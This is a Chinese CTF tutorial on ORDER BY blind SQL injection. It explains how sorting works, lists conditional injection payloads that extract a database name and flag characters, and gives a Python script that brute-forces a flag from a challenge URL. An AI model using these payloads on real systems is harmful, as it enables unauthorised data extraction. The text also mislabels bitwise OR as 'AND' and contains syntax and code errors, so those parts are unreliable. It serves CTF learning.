1. 程式人生 > 實用技巧 >CTF-sql-order by盲注

CTF-sql-order by盲注

本文章只討論了order by盲注,關於order by的報錯等注入不在本文章討論範圍,另有文章。

讓我們先來看看本文章所使用的表的內容,如下圖:

接下來先了解一下order by的基礎知識:

order by子句
作用:對查詢返回的結果按一列或多列排序。
語法格式:ORDER BY {column_name [ASC|DASC]}[,...n]
注意:orderby 語句預設按照升序對記錄進行排序
效果如下圖:

思考1:以下兩種sql語句的區別?將會怎麼對查詢結果進行排列?

1、select * from user order by username,password desc;(order by 2,3 desc)
2、select * from user order by username;	      (order by 2)

第一個排列結果如下圖:

第二個排列結果如下圖:

結論:
由以上的排序結果可看出:
1、如果是按照列中的字串來排序的話,是按照字串的首字母以其在26字母表中的位置來排序的。
2、如果order by的後面有多個引數,則會先照第一個引數進行排序,如果在按照第一個引數排完序之後,其中有重複的(就像上面演示的那樣,admin重複),則這些重複的會再按照第二個引數進行排序

思考2:以下兩種查詢方式等效嗎?為什麼?

1、select * from user order by id|2;   
2、select * from user order by 1/2;

第一個排列結果如下圖:

第二個排列結果如下圖:


結論:
不等效

原因如下:

我們先看看這句的效果:

select id|2 from user;

select * from user order by 1/2;

我相信大家通過這個就會發現規律了吧:
order by id|2的意思就是id中的每一個數都與2進行‘與’運算,1|2=3, 2|2=2, 3|2=3, 6|2=6,然後就按照做完‘與’運算後的資料進行排序,即2336,然後就會變成第一種的順序了。但是1|2都為3,這樣的話就會按照預設的查詢順序,而不進行排序了。

思考3:在不知道列名的情況下可以通過列序號來指代相應的列,但是可以使用列序號做運算嗎?

1、select * from user order by 1;
2、select * from user order by 1+1;
3、select * from user order by 3+1;
4、select * from user order by (1+1);
5、select * from user order by (3+1);

由於篇幅關係,再此僅做部分查詢:

結論:
你會發現以上語句的排序結果是一樣的,這就說明在不知道列名的情況下可以通過列的序號來指代相應的列,但是不可以做以上加或減之後的排序。

order by盲注:

根據不同的列排序,會返回不同的結果,因此這裡可以使用類似於bool型盲注的形式來注入,即使判斷結果與某種返回內容相關聯,來實現注入。
(即:所謂的order by盲注就是以其排序結果為基準,來判斷注入語句是否被成功執行,從而來進行暴力猜解)

注意:
order by可以根據多列排序,因此注入的語句不一定限制於第一個引數,也可以通過逗號去對新的列進行注入,但是要利用逗號之後的引數的話,就必須要求前一個引數排完之後還要有重複的才行。

下面提供一些可供參考的order by盲注語句:

select * from user order by id|(if(substr(database(),1,1)='a',2,3));
當前資料庫名稱的首字母為a時id和2‘與’,否則和3‘與’。(造成兩種不同的排序)
select * from user order by id|(if(substr(select flag from CTF),1,1)='a',2,3));
表CTF中flag欄位的首字母為a時id和2‘與’,否則和3‘與’。(造成兩種不同的排序)
select * from user order by id|{select (select flag from level1_flag) regexp payload}
flag匹配成功和 1 “與”,匹配失敗和 0 “與”。(造成兩種不同的排序)

下面為實現order by盲注的python指令碼,可供參考:

import requests
# 定義一個flag取值的一個“範圍”
dic = "1234567890qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM_!@#$%^&*"
# 之所以不定義為空,而是“^”,是為了從頭開始匹配
flag = "^"
# 目標url,先傳“|1”,獲取其資料的排列內容,作為一個對比的基準
url1 = "https://chall.tasteless.eu/level1/index.php?dir=|1"
content1 = requests.get(url1).content
# 這個flag的長度被定義為了50個字元長度
for i in range(50):
    # 從定義的dic中挨個取1字元,拼湊payload
    for letter in dic:
        payload = flag + letter
        #該url最後的“}2b1”-->"}+1"
        url2 = "https://chall.tasteless.eu/level1/index.php?dir=|{select (select flag from level1_flag) regexp "+"'"+ payload +"'"+"}%2b1"
        print(url)
        # 獲取實際注入後的排列內容
        content2 = requests.get(url2).content
        # 如果不相等,即為flag內容(為什麼是不相等,而不是相等,因為在url2的最後又“+1”,即匹配成功則是“?dir=|2”,匹配不成功則是“?dir=|1”)
        if(content1 != content2):
            flag = payload
            print(flag)
            break